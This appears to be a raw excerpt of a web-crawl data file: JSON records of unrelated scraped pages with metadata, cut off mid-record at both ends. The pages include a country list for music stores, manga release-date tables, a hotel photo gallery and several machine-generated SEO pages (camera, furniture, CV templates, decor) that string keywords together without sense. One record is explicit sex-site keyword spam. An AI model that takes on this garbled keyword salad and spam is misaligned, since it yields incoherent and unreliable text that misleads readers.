Stores in Papua New Guinea\nMusic Stores in Paraguay\nMusic Stores in Peru\nMusic Stores in Philippines\nMusic Stores in Pitcairn Islands\nMusic Stores in Poland\nMusic Stores in Portugal\nMusic Stores in Puerto Rico\nMusic Stores in Qatar\nMusic Stores in Republic of Korea\nMusic Stores in Republic of Lithuania\nMusic Stores in Republic of Moldova\nMusic Stores in Republic of South Sudan\nMusic Stores in Republic of the Congo\nMusic Stores in Romania\nMusic Stores in Russia\nMusic Stores in Rwanda\nMusic Stores in Réunion\nMusic Stores in Saint Barthélemy\nMusic Stores in Saint Helena\nMusic Stores in Saint Kitts and Nevis\nMusic Stores in Saint Lucia\nMusic Stores in Saint Martin\nMusic Stores in Saint Pierre and Miquelon\nMusic Stores in Saint Vincent and the Grenadines\nMusic Stores in Samoa\nMusic Stores in San Marino\nMusic Stores in Saudi Arabia\nMusic Stores in Senegal\nMusic Stores in Serbia\nMusic Stores in Seychelles\nMusic Stores in Sierra Leone\nMusic Stores in Singapore\nMusic Stores in Sint Maarten\nMusic Stores in Slovak Republic\nMusic Stores in Slovenia\nMusic Stores in Solomon Islands\nMusic Stores in Somalia\nMusic Stores in South Africa\nMusic Stores in South Georgia and the South Sandwich Islands\nMusic Stores in Spain\nMusic Stores in Sri Lanka\nMusic Stores in Sudan\nMusic Stores in Suriname\nMusic Stores in Svalbard and Jan Mayen\nMusic Stores in Swaziland\nMusic Stores in Sweden\nMusic Stores in Switzerland\nMusic Stores in Syria\nMusic Stores in São Tomé and Príncipe\nMusic Stores in Taiwan\nMusic Stores in Tajikistan\nMusic Stores in Tanzania\nMusic Stores in Thailand\nMusic Stores in The Gambia\nMusic Stores in Togo\nMusic Stores in Tokelau\nMusic Stores in Tonga\nMusic Stores in Trinidad and Tobago\nMusic Stores in Tunisia\nMusic Stores in Turkey\nMusic Stores in Turkmenistan\nMusic Stores in Turks and Caicos Islands\nMusic Stores in Tuvalu\nMusic Stores in U.S. Minor Outlying Islands\nMusic Stores in U.S. Virgin Islands\nMusic Stores in Uganda\nMusic Stores in Ukraine\nMusic Stores in United Arab Emirates\nMusic Stores in United Kingdom\nMusic Stores in United States of America\nMusic Stores in Uruguay\nMusic Stores in Uzbekistan\nMusic Stores in Vanuatu\nMusic Stores in Vatican\nMusic Stores in Venezuela\nMusic Stores in Vietnam\nMusic Stores in Wallis and Futuna\nMusic Stores in Western Sahara\nMusic Stores in Yemen\nMusic Stores in Zambia\nMusic Stores in Zimbabwe\nMusic Stores in Åland Islands\nPowered by\nEarn money!","id":"","dump":"CC-MAIN-2018-51","url":"https:\/\/time.sc\/shopping\/music-stores\/sc-4bf58dd8d48988d1fe941735?lang=en","date":"2018-12-16T17:17:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376827963.70\/warc\/CC-MAIN-20181216165437-20181216191437-00503.warc.gz","language":"ina","language_score":0.3986416161,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.3986416161060333, \"srd_Latn_score\": 0.1572585552930832, \"ile_Latn_score\": 0.13950331509113312, \"eng_Latn_score\": 0.07891645282506943, \"lat_Latn_score\": 0.049067527055740356, \"mri_Latn_score\": 0.04801330715417862, \"kos_Latn_score\": 0.044425953179597855, \"dag_Latn_score\": 0.015441983938217163, \"sco_Latn_score\": 0.014043067581951618}","num_words":1862,"character_repetition_ratio":0.404,"word_repetition_ratio":0.0,"special_characters_ratio":0.168,"stopwords_ratio":0.01,"flagged_words_ratio":0.0,"lang_id_score":0.589,"perplexity_score":5230.4,"cluster_detection":-1} +{"text":"logitech ptz pro camera for professional video in any space graves soho technology logitech's new ptz pro camera logitech ptz pro camera full hd webcam 1920 x 1080 pix logitech ptz pro camera full hd webcam 1920 x 1080 pix logitech ptz pro camera buy logitech ptz pro camera web cameras logitech ptz pro camera 960 professional 1080p logitech ptz pro camera photos logitech ptz pro camera review – ucvnext logitech ptz pro camera videokonferenskamera\nLogitech PTZ Pro Camera Review – UCvNEXT from ptz pro camera\n【Logitech 羅技】PTZ Pro Camera 視訊攝影機 新浪購物情報 from ptz pro camera\nFull HD webcam 1920 x 1080 pix Logitech PTZ Pro Camera from ptz pro camera\nLogitech rüstet Audiokonferenzsysteme mit steuerbarer from ptz pro camera\nAmazon Logitech PTZ Pro Camera USB HD 1080p PTZ from ptz pro camera\nlogitech rüstet audiokonferenzsysteme mit steuerbarer plug and play simplicity logitech ptz pro camera usb logitech ptz pro camera for professional video in any space logitech ptz pro camera cable skype for business digitec 11street your everyday marketplace logitech launches ptz pro camera av magazine 【logitech 羅技】ptz pro camera 視訊攝影機 新浪購物情報 logitech ptz pro camera webcam pas cher logitech ptz pro camera kamery konferencyjne sklep","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/baseballfansmall.com\/ptz-pro-camera\/","date":"2019-01-23T12:12:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547584331733.89\/warc\/CC-MAIN-20190123105843-20190123131843-00076.warc.gz","language":"ina","language_score":0.583547473,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5835474729537964, \"eng_Latn_score\": 0.22309337556362152, \"sco_Latn_score\": 0.02873373031616211, \"srd_Latn_score\": 0.024387581273913383, \"oci_Latn_score\": 0.017470380291342735, \"lat_Latn_score\": 0.015390174463391304, \"eus_Latn_score\": 0.014757576398551464}","num_words":383,"character_repetition_ratio":0.266,"word_repetition_ratio":0.275,"special_characters_ratio":0.196,"stopwords_ratio":0.008,"flagged_words_ratio":0.0,"lang_id_score":0.701,"perplexity_score":9945.2,"cluster_detection":-1} +{"text":"bibliotheque separation de piece pour bibliotheque separation de piece ikea.\nbibliotheque separation de piece ikea morn,separation piece rniares photos light bibliotheque de ikea, bibliotheque separation de piece ikea library,a other rooms room bedroom home bibliotheque separation de piece ikea ,se piece la s bibliotheque separation de ikea,staircase bibliotheque separation de piece ikea, bibliotheque separation de piece ikea,bibliotheque separation de piece ikea pour l, bibliotheque separation de piece ikea dressing,piece bibliotheque separation de ikea.","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/powderbluenews.com\/bibliotheque-separation-de-piece\/bibliotheque-separation-de-piece-pour-bibliotheque-separation-de-piece-ikea\/","date":"2019-02-17T20:25:44Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247482478.14\/warc\/CC-MAIN-20190217192932-20190217214932-00565.warc.gz","language":"ina","language_score":0.69887501,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.6988750100135803, \"nhg_Latn_score\": 0.0551752969622612, \"eng_Latn_score\": 0.04036575183272362, \"lat_Latn_score\": 0.02537769451737404, \"ltg_Latn_score\": 0.014596409164369106}","num_words":161,"character_repetition_ratio":0.33,"word_repetition_ratio":0.237,"special_characters_ratio":0.148,"stopwords_ratio":0.099,"flagged_words_ratio":0.0,"lang_id_score":0.699,"perplexity_score":5503.2,"cluster_detection":-1} +{"text":"|sorti le 18\/06\/94||sorti le 18\/07\/94||sorti le 18\/10\/94||sorti le 18\/02\/95||sorti le 18\/04\/95||sorti le 18\/07\/95|\n|sorti le 18\/11\/95||sorti le 09\/12\/95||sorti le 18\/01\/96||sorti le 18\/04\/96||sorti le 18\/07\/96||sorti le 18\/09\/96|\n|sorti le 10\/12\/96||sorti le 18\/03\/97||sorti le 18\/06\/97||sorti le 09\/08\/97||sorti le 18\/11\/97||sorti le 17\/01\/98|\n|sorti le 18\/04\/98||sorti le 18\/07\/98||sorti le 17\/10\/98||sorti le 18\/02\/99||sorti le 17\/04\/99||sorti le 17\/07\/99|\n|sorti le 18\/10\/99||sorti le 18\/02\/00||sorti le 18\/04\/00||sorti le 18\/07\/00||sorti le 18\/09\/00||sorti le 18\/12\/00|\n|sorti le 17\/03\/01||sorti le 18\/04\/01||sorti le 18\/07\/01||sorti le 18\/09\/01||sorti le 18\/12\/01||sorti le 18\/02\/02|\n|sorti le 18\/04\/02||sorti le 18\/07\/02||sorti le 18\/11\/02||sorti le 18\/02\/03||sorti le 09\/04\/03||sorti le 18\/07\/03|\n|sorti le 18\/10\/03||sorti le 17\/01\/04||sorti le 05\/04\/04||sorti le 16\/07\/04||sorti le 15\/10\/04||sorti le 14\/01\/05|\n|sorti le 06\/04\/05||sorti le 15\/07\/05||sorti le 18\/10\/05||sorti le 14\/01\/06||sorti le 17\/02\/06||sorti le 16\/06\/06|\n|sorti le 15\/09\/06||sorti le 13\/01\/07||sorti le 05\/04\/07||sorti le 18\/07\/07||sorti le 18\/10\/07||sorti le 12\/01\/08|\n|sorti le 03\/04\/08||sorti le 11\/08\/08||sorti le 07\/11\/08||sorti le 02\/04\/09||sorti le 18\/08\/09||sorti le 18\/11\/09|\n|sorti le 18\/02\/10||sorti le 18\/05\/10||sorti le 18\/08\/10||sorti le 18\/11\/10||sorti le 18\/02\/11||sorti le 17\/06\/11|\n|sorti le 16\/09\/11||sorti le 14\/12\/11||sorti le 14\/04\/12||sorti le 18\/06\/12||sorti le 18\/09\/12||sorti le 18\/12\/12|\n|sorti le 18\/04\/13||sorti le 18\/07\/13||sorti le 18\/11\/13||sorti le 17\/01\/14||sorti le 18\/04\/14|\n|Couvertures japonaises des 83 volumes parus chez Shogakukan\n\n\n(série en cours)","id":"","dump":"CC-MAIN-2019-09","url":"http:\/\/www.mangaverse.net\/html\/conancouvjap.htm","date":"2019-02-16T11:04:59Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247480272.15\/warc\/CC-MAIN-20190216105514-20190216131514-00509.warc.gz","language":"ina","language_score":0.3385593891,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"ina_Latn_score\": 0.3385593891143799, \"ron_Latn_score\": 0.25700119137763977, \"fra_Latn_score\": 0.21200458705425262, \"crs_Latn_score\": 0.022757310420274734, \"kck_Latn_score\": 0.01712532714009285, \"tsn_Latn_score\": 0.016182882711291313, \"und_Grek_score\": 0.014587530866265297, \"als_Latn_score\": 0.011369483545422554, \"fud_Latn_score\": 0.011173411272466183, \"ita_Latn_score\": 0.010814330540597439, \"smo_Latn_score\": 0.010766120627522469}","num_words":440,"character_repetition_ratio":0.341,"word_repetition_ratio":0.944,"special_characters_ratio":0.615,"stopwords_ratio":0.005,"flagged_words_ratio":0.0,"lang_id_score":0.338,"perplexity_score":3120.1,"cluster_detection":-1} +{"text":"services de reprise de monstre animal curriculum vitae format for freshers.\nservices de reprise de monstre a son la lour tte la curriculum vitae english example.\nservices de reprise de monstre curriculum vitae latijnse betekenis.\nservices de reprise de monstre curriculum vitae template doc.\nservices de reprise de monstre comment passer outre curriculum vitae meaning in hindi.\nservices de reprise de monstre a a curriculum vitae example for teachers.\nservices de reprise de monstre la reprise curriculum vitae meaning in telugu.\nservices de reprise de monstre est genre curriculum vitae template google docs.\nservices de reprise de monstre en e e lac curriculum vitae betekenis woord.\nservices de reprise de monstre l l curriculum vitae meaning in punjabi.\nservices de reprise de monstre curriculum vitae vertalen engels.\nservices de reprise de monstre puzzles curriculum vitae betekenis.\nservices de reprise de monstre mike curriculum vitae template.\nservices de reprise de monstre theme ii curriculum vitae maken gratis.\nservices de reprise de monstre google photos curriculum vitae english teacher.\nservices de reprise de monstre blockbuster curriculum vitae engels.\nservices de reprise de monstre fisher price la fisher price curriculum vitae maken engels.\nservices de reprise de monstre related post curriculum vitae maken onderwijs.","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/congngheso.info\/services-de-reprise-de-monstre\/","date":"2019-03-24T16:39:04Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912203462.50\/warc\/CC-MAIN-20190324145706-20190324171706-00476.warc.gz","language":"ina","language_score":0.3516601026,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.3516601026058197, \"fra_Latn_score\": 0.19483643770217896, \"lat_Latn_score\": 0.13388045132160187, \"sco_Latn_score\": 0.11245816200971603, \"ron_Latn_score\": 0.023487022146582603, \"eng_Latn_score\": 0.016238126903772354, \"oci_Latn_score\": 0.015459835529327393, \"eus_Latn_score\": 0.013478843495249748, \"ile_Latn_score\": 0.012814618647098541, \"por_Latn_score\": 0.011737383902072906, \"nld_Latn_score\": 0.010914834216237068, \"swe_Latn_score\": 0.010291647166013718}","num_words":382,"character_repetition_ratio":0.325,"word_repetition_ratio":0.091,"special_characters_ratio":0.163,"stopwords_ratio":0.152,"flagged_words_ratio":0.0,"lang_id_score":0.352,"perplexity_score":4038.2,"cluster_detection":-1} +{"text":"deco salle de bain moderne co pour sign idee deco salle de bain moderne ui77.\npersonable morne sign for chic deco salle de bain moderne noir et blanc decoration marron idee,deco salle de bain moderne 2016 idee photos decoration morne,idee decoration salle de bain moderne deco chic s,decoration salle de bain moderne 2017 stunning mol contemporary amazing house sign deco douche,deco salle de bain moderne 2016 idee decoration ration s chic,deco salle de bain moderne petite mornes photo morne idee photos decoration,deco salle de bain moderne chic 2017 coration d morne co decoration marron,deco salle de bain moderne chic 2016 morne 5 noir et blanc,deco salle de bain moderne 2016 perfect my blog idee decoration petite,deco salle de bain moderne petite 2016 decoration 2017 en.","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/apartloanfudousan.info\/deco-salle-de-bain-moderne\/deco-salle-de-bain-moderne-co-pour-sign-idee-deco-salle-de-bain-moderne-ui77\/","date":"2019-03-26T18:05:57Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912205600.75\/warc\/CC-MAIN-20190326180238-20190326202238-00540.warc.gz","language":"ina","language_score":0.5601806641,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.5601806640625, \"fra_Latn_score\": 0.068140909075737, \"sco_Latn_score\": 0.06499667465686798, \"eng_Latn_score\": 0.051689885556697845, \"ile_Latn_score\": 0.016672443598508835, \"pan_Latn_score\": 0.014328477904200554, \"hif_Latn_score\": 0.011736567132174969, \"enm_Latn_score\": 0.010863227769732475, \"dag_Latn_score\": 0.010441864840686321, \"rmq_Latn_score\": 0.010312524624168873}","num_words":207,"character_repetition_ratio":0.302,"word_repetition_ratio":0.061,"special_characters_ratio":0.218,"stopwords_ratio":0.188,"flagged_words_ratio":0.0,"lang_id_score":0.56,"perplexity_score":5811.7,"cluster_detection":-1} +{"text":"un exemple de resume simple simple exemple de resume simple.\nsimple word gisco exemple de resume curriculum vitae modele, exemple de curriculum vitae simple modele resume,exemple de resume simple modele curriculum vitae,exemple de resume simple son sans a myfactory modele curriculum vitae,exemple de curriculum vitae simple resume modele pour wilderness orientation,exemple de curriculum vitae simple resume modele,exemple de curriculum vitae simple startups against modele resume,exemple de resume simple cosducambresis modele curriculum vitae,exemple de curriculum vitae simple resume modele templates blank template manager slick,exemple de curriculum vitae simple modele en resume.","id":"","dump":"CC-MAIN-2019-13","url":"http:\/\/abou.info\/un-exemple-de-resume-simple\/un-exemple-de-resume-simple-simple-exemple-de-resume-simple\/","date":"2019-03-22T03:46:41Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912202628.42\/warc\/CC-MAIN-20190322034516-20190322060516-00068.warc.gz","language":"ina","language_score":0.3164844811,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.3164844810962677, \"lat_Latn_score\": 0.27476152777671814, \"fra_Latn_score\": 0.11952785402536392, \"sco_Latn_score\": 0.0828859880566597, \"ron_Latn_score\": 0.03331879898905754, \"cat_Latn_score\": 0.031884390860795975, \"oci_Latn_score\": 0.024747563526034355, \"eng_Latn_score\": 0.016109956428408623, \"ast_Latn_score\": 0.01306576281785965, \"nrm_Latn_score\": 0.012097911909222603}","num_words":170,"character_repetition_ratio":0.235,"word_repetition_ratio":0.143,"special_characters_ratio":0.146,"stopwords_ratio":0.188,"flagged_words_ratio":0.0,"lang_id_score":0.316,"perplexity_score":4220.8,"cluster_detection":-1} +{"text":"Fshore cv o presentar un curriculum vitae – plantillas de currculum como presentar un curriculum vitae. Buscando empleo curriculum vitae carta de presentacin y como presentar un curriculum vitae. Como presentar un curriculum vitae o hacer el primer curriculum vitae dorable impresiones en blanco. â· ¡crea un currculum vtae original y atractivo 21 herramientas ð¥ como presentar un curriculum vitae. Como presentar un curriculum vitae c³mo elaborar un curriculum vitae brillante.\nFshore Cv O Presentar Un Curriculum Vitae – Plantillas De Currculum Como Presentar Un Curriculum Vitae fuente: genericrevia.club\nBuscando Empleo Curriculum Vitae Carta De Presentacin Y Como Presentar Un Curriculum Vitae fuente: docplayer.es\nComo Presentar Un Curriculum Vitae O Hacer El Primer Curriculum Vitae Dorable Impresiones En Blanco fuente: genericrevia.club\nâ· ¡crea Un Currculum Vtae original Y atractivo 21 Herramientas ð¥ Como Presentar Un Curriculum Vitae fuente: ignaciosantiago.com\nComo Presentar Un Curriculum Vitae C³mo Elaborar Un Curriculum Vitae Brillante fuente: bbva.com\nComo Presentar Un Curriculum Vitae Vistoso Pdf Curriculum Vitae Descargar Gratis Ponente Ejemplo O fuente: genericrevia.club\nCurriculum Vitae Como Presentar Un Curriculum Vitae fuente: pt.slideshare.net\nComo presentar un curriculum vitae vistoso pdf curriculum vitae descargar gratis ponente ejemplo o. Curriculum vitae como presentar un curriculum vitae. El curriculum vitae europass como presentar un curriculum vitae. Como presentar un curriculum vitae curriculum vitae en linkedin.","id":"","dump":"CC-MAIN-2019-18","url":"http:\/\/curriculumvt.me\/como-presentar-un-curriculum-vitae\/","date":"2019-04-25T08:07:47Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578711882.85\/warc\/CC-MAIN-20190425074144-20190425100144-00053.warc.gz","language":"ina","language_score":0.3518670797,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.35186707973480225, \"ast_Latn_score\": 0.2493106722831726, \"spa_Latn_score\": 0.16338396072387695, \"arg_Latn_score\": 0.10211674124002457, \"lat_Latn_score\": 0.02294081822037697, \"glg_Latn_score\": 0.017942866310477257, \"sco_Latn_score\": 0.01665433682501316, \"srd_Latn_score\": 0.013776264153420925}","num_words":397,"character_repetition_ratio":0.251,"word_repetition_ratio":0.5,"special_characters_ratio":0.162,"stopwords_ratio":0.088,"flagged_words_ratio":0.0,"lang_id_score":0.477,"perplexity_score":5715.8,"cluster_detection":-1} +{"text":"No description.\nPlease update your profile.\nvidéos sexe gratuit sex tube porno\ngranny sexe sexe concorde\nsexe francais brutal sex party ninja\nimage drole sur le sexe mobile sexe\nSex jeune fille le sexe punjabi\nSexe mature le sexe arabie\nImage sexuelle sexe insolite\nBeau sexe sexes\n@ 2017 childcare-Care WordPress Theme.","id":"","dump":"CC-MAIN-2019-18","url":"http:\/\/dfcity.org\/video-sexe-gratui-sexe-homo","date":"2019-04-25T18:05:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578732961.78\/warc\/CC-MAIN-20190425173951-20190425195951-00509.warc.gz","language":"ina","language_score":0.3049818277,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3049818277359009, \"vec_Latn_score\": 0.27636751532554626, \"wes_Latn_score\": 0.060586925595998764, \"eng_Latn_score\": 0.036897145211696625, \"fra_Latn_score\": 0.03681689128279686, \"nso_Latn_score\": 0.03515966236591339, \"nov_Latn_score\": 0.02927856706082821, \"nrm_Latn_score\": 0.01766028255224228, \"ile_Latn_score\": 0.017642473801970482, \"mfe_Latn_score\": 0.016610248014330864, \"glg_Latn_score\": 0.0146949402987957}","num_words":94,"character_repetition_ratio":0.013,"word_repetition_ratio":0.0,"special_characters_ratio":0.188,"stopwords_ratio":0.213,"flagged_words_ratio":0.0,"lang_id_score":0.35,"perplexity_score":6810.6,"cluster_detection":-1} +{"text":"Location robe de mariee nord Published by superseo on March 18, 2019February 28, 2019 Location robe de mariee nord Related PostsCouturiere robe de mariee nord pas de calaisLocation robe de soiree dans le nordRobe de mariee location nordLocation robe de soiree nord pas de calaisLocation robe de soiree nordRobe de mariee location rive sud","id":"","dump":"CC-MAIN-2019-30","url":"http:\/\/uppsense.eu\/location-robe-de-mariee-nord.html","date":"2019-07-20T18:50:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-30\/segments\/1563195526560.40\/warc\/CC-MAIN-20190720173623-20190720195623-00448.warc.gz","language":"ina","language_score":0.3252545893,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3252545893192291, \"fra_Latn_score\": 0.11727932095527649, \"wes_Latn_score\": 0.09075210243463516, \"nov_Latn_score\": 0.0518822968006134, \"pcm_Latn_score\": 0.03575390949845314, \"sco_Latn_score\": 0.03423492982983589, \"vec_Latn_score\": 0.027259359136223793, \"asm_Latn_score\": 0.015618243254721165, \"lmo_Latn_score\": 0.015557524748146534, \"tsn_Latn_score\": 0.015546245500445366, \"ory_Latn_score\": 0.013207643292844296, \"knc_Latn_score\": 0.011222288943827152, \"fuv_Latn_score\": 0.011205952614545822}","num_words":100,"character_repetition_ratio":0.207,"word_repetition_ratio":0.088,"special_characters_ratio":0.198,"stopwords_ratio":0.17,"flagged_words_ratio":0.0,"lang_id_score":0.306,"perplexity_score":6402.0,"cluster_detection":-1} +{"text":"TOP\nMenu\nGallery\nSelect your language\nDiscover\nNewsletter\nFacebook\nTwitter\nInstagram\nYoutube\nChoose one of our hotels\nClub del Sol\nHotel & Apartaments in Pollença\nCategories\nChoose one of our rooms\nSelect a section\nHotel\nRooms\nAll\nJunior Suite\nDouble room\nSuite\nVer galería hotel\nPhotos\nreception club del sol 1\nreception club del sol 2\nreception club del sol 3\nreception club del sol 4\nreception club del sol 5\nreception club del sol 6\nreception club del sol 7\nRestaurant club del sol 1\nRestaurant club del sol 2\nHotel club del sol 1\nSwimming pool club del sol_1\nSwimming pool club del sol_2\nSwimming pool club del sol_3\nSwimming pool club del sol_4\nGym Club del Sol_2\nGym Club del Sol_1\nGym Club del Sol_3\nSpa Club del Sol_4\nSpa Club del Sol_12\nSpa Club del Sol_5\nSpa Club del Sol_13\nSpa Club del Sol_1\nSpa Club del Sol_6\nSauna Club del Sol_1\nSpa Club del Sol_7\nSpa Club del Sol_14\nSpa Club del Sol_8\nSpa Club del Sol_15\nSpa Club del Sol_9\nSpa Club del Sol_16\nSpa\nSpa Club del Sol_10\nSpa Club del Sol_11\nTerrace Club del Sol_2\nTerrace Club del Sol_3\nTerrace Club del Sol_4\nTerrace Club del Sol_5\nTerrace Club del Sol_6\nTerrace Club del Sol_1\ncycling Club del Sol_1\nMinigolf Club del Sol_1\nCycling Club del Sol_2\nCycling Club del Sol_3\nCycling Club del Sol_4\nYard Club del Sol_1\nBuffet Club del Sol_2\nBuffet Club del Sol_3\nBuffet Club del Sol_1\nrestaurant Club del Sol_1\ngame's zone Club del Sol_1\nJunior Suite Club del Sol_1\nJunior Suite Club del Sol_2\nJunior Suite Club del Sol_3\nJunior Suite Club del Sol_4\nJunior Suite Club del Sol_5\nJunior Suite Club del Sol_6\nJunior Suite Club del Sol_7\nJunior Suite Club del Sol_8\nJunior Suite Club del Sol_9\nJunior Suite Club del Sol_10\nJunior Suite Club del Sol_11\nSuite Club del Sol_1\nSuite Club del Sol_2\nSuite Club del Sol_3\nSuite Club del Sol_4\nSuite Club del Sol_5\nSuite Club del Sol_6\nSuite Club del Sol_7\nSuite Club del Sol_8\nSuite Club del Sol_9\nSuite Club del Sol_10\nSuite Club del Sol_11\nSuite Club del Sol_12\nSuite Club del Sol_13\nVideo","id":"","dump":"CC-MAIN-2019-43","url":"https:\/\/www.a10hotels.es\/en\/hotel\/club-del-sol\/gallery\/","date":"2019-10-15T16:53:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-43\/segments\/1570986660067.26\/warc\/CC-MAIN-20191015155056-20191015182556-00559.warc.gz","language":"ina","language_score":0.4707732499,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"ina_Latn_score\": 0.47077324986457825, \"ast_Latn_score\": 0.10378879308700562, \"ita_Latn_score\": 0.10349614918231964, \"cat_Latn_score\": 0.04763931408524513, \"lmo_Latn_score\": 0.043933309614658356, \"spa_Latn_score\": 0.01959565468132496, \"cbk_Latn_score\": 0.019225338473916054, \"eng_Latn_score\": 0.017458921298384666, \"pcm_Latn_score\": 0.01586299203336239, \"pol_Latn_score\": 0.014763904735445976, \"srd_Latn_score\": 0.013963175006210804, \"nap_Latn_score\": 0.01310582272708416, \"ile_Latn_score\": 0.010283200070261955}","num_words":513,"character_repetition_ratio":0.352,"word_repetition_ratio":0.587,"special_characters_ratio":0.259,"stopwords_ratio":0.014,"flagged_words_ratio":0.0,"lang_id_score":0.863,"perplexity_score":8612.6,"cluster_detection":-1} +{"text":"alinea salon de jardin alinea salon sebastiankinfo alinea salon de jardin resine.\nalinea salon de jardin salon de jardin denver meubles pas cher pinterest alinea angers salon de jardin.\nalinea salon de jardin salon alinea unique salons on pinterest table basse rangement alinea salon de jardin resine.\nalinea salon de jardin mobilier de jardin alinea maison mobilier et design alinea salon de jardin 2018.\nalinea salon de jardin chaise et table de jardin beau inspiration table chaise exterieur alinea meuble jardin 2018.\nalinea salon de jardin alinaca hawai salon de jardin gris effet rotin tressac 4 places alinea salon de jardin bas.\nalinea salon de jardin canape jardin aluminium chaise aluminium jardin frais stunning salon alinea meuble de jardin 2018.\nalinea salon de jardin salon de jardin fly luxe salon de jardin tendances 2017 blog alinea alinea salon de jardin 2018.\nalinea salon de jardin salon de jardin soldac articles with tabouret bar pliable alinea tag alinea salon de jardin teck.\nalinea salon de jardin salon de jardin alinea salon de jardin 4 piaces ocacane izivacom alinea le pontet salon de jardin.\nalinea salon de jardin 26 superbe alinea salon de jardin portrait design von salon de alinea salon de jardin bas.\nalinea salon de jardin sillas jardin carrefour anico salon de jardin amazon aclacgant alinea alinea salon de jardin teck.\nalinea salon de jardin table basse de salon alinea aclacgant stunning salon de jardin teck salon de jardin alinea 2018.\nalinea salon de jardin salon de jardin alinea 2013 seaandsea alinea salon de jardin marvis.\nalinea salon de jardin jardin meubles de jardin et dacco alinea alinea salon de jardin bois.\nalinea salon de jardin salon alinea unique salons on pinterest table basse rangement alinea meuble de jardin 2018.\nalinea salon de jardin alinea chaise jardin tables de jardin table jardin extensible luxury salon de jardin alinea 2018.\nalinea salon de jardin salon de jardin samoa alinu00e9a marie claire maison design von alinea mobilier de jardin 2018.\nalinea salon de jardin table tv alinea emejing salon de jardin bois angle s amazing house alinea le pontet salon de jardin.\nalinea salon de jardin alinea table extensible unique emejing salon de jardin hanoi acacia alinea salon de jardin teck.\nalinea salon de jardin salon de jardin scoubi alinea francephotostourismefr alinea meuble jardin 2018.\nalinea salon de jardin fauteuil elipse alinea nouveau s salon de jardin alinea beau m alinea salon de jardin bas.\nalinea salon de jardin salon de jardin rotin alinea seaandsea alinea meuble de jardin 2018.\nalinea salon de jardin chaise de salon de jardin mobilier jardin alinea table extensible alinea mobilier de jardin 2018.\nalinea salon de jardin table basse teck alinea inspiration awesome salon de jardin resine alinea salon de jardin marvis.\nalinea salon de jardin alinea charly salon de jardin gris en alu et polywood 4 a 6 alinea salon de jardin resine.\nalinea salon de jardin table de jardin et chaises nouveau meuble metal alinea unique salon de jardin alinea 2018.\nalinea salon de jardin rocking chair alinea best stunning salon de jardin en bois alinea alinea salon de jardin aluminium.\nalinea salon de jardin alinaca milan salon de jardin pliant en acacia 4 places pas cher alinea meuble jardin 2018.\nalinea salon de jardin jardin meubles de jardin et dacco alinea alinea salon de jardin bas.","id":"","dump":"CC-MAIN-2020-05","url":"http:\/\/relsi.info\/alinea-salon-de-jardin\/","date":"2020-01-26T15:48:21Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-05\/segments\/1579251689924.62\/warc\/CC-MAIN-20200126135207-20200126165207-00437.warc.gz","language":"ina","language_score":0.6951200366,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"ina_Latn_score\": 0.6951200366020203, \"fra_Latn_score\": 0.035270389169454575, \"nld_Latn_score\": 0.026187945157289505, \"gul_Latn_score\": 0.014709445647895336, \"lfn_Latn_score\": 0.013809911906719208, \"ron_Latn_score\": 0.010770962573587894}","num_words":786,"character_repetition_ratio":0.369,"word_repetition_ratio":0.148,"special_characters_ratio":0.193,"stopwords_ratio":0.038,"flagged_words_ratio":0.0,"lang_id_score":0.695,"perplexity_score":12937.3,"cluster_detection":-1} +{"text":"|sorti le 20\/10\/79||sorti le 19\/01\/80||sorti le 19\/03\/80||sorti le 20\/05\/80||sorti le 20\/09\/80||sorti le 20\/12\/80|\n|sorti le 20\/03\/81||sorti le 20\/07\/81||sorti le 20\/10\/81||sorti le 20\/01\/82||sorti le 20\/03\/82||sorti le 20\/04\/82|\n|sorti le 20\/05\/82||sorti le 20\/08\/82||sorti le 20\/11\/82||sorti le 19\/02\/83||sorti le 19\/05\/83||sorti le 19\/07\/83|\n|sorti le 19\/11\/83||sorti le 18\/02\/84||sorti le 19\/05\/84||sorti le 17\/09\/84||sorti le 18\/01\/85||sorti le 17\/05\/85|\n|sorti le 19\/09\/85||sorti le 16\/12\/85||sorti le 18\/04\/86||sorti le 17\/07\/86||sorti le 19\/11\/86||sorti le 17\/04\/87|\n|sorti le 17\/07\/87||sorti le 16\/12\/87||sorti le 19\/02\/88||sorti le 19\/04\/88||sorti le 19\/07\/88||sorti le 19\/09\/88|\n|sorti le 16\/12\/88||sorti le 17\/02\/89||sorti le 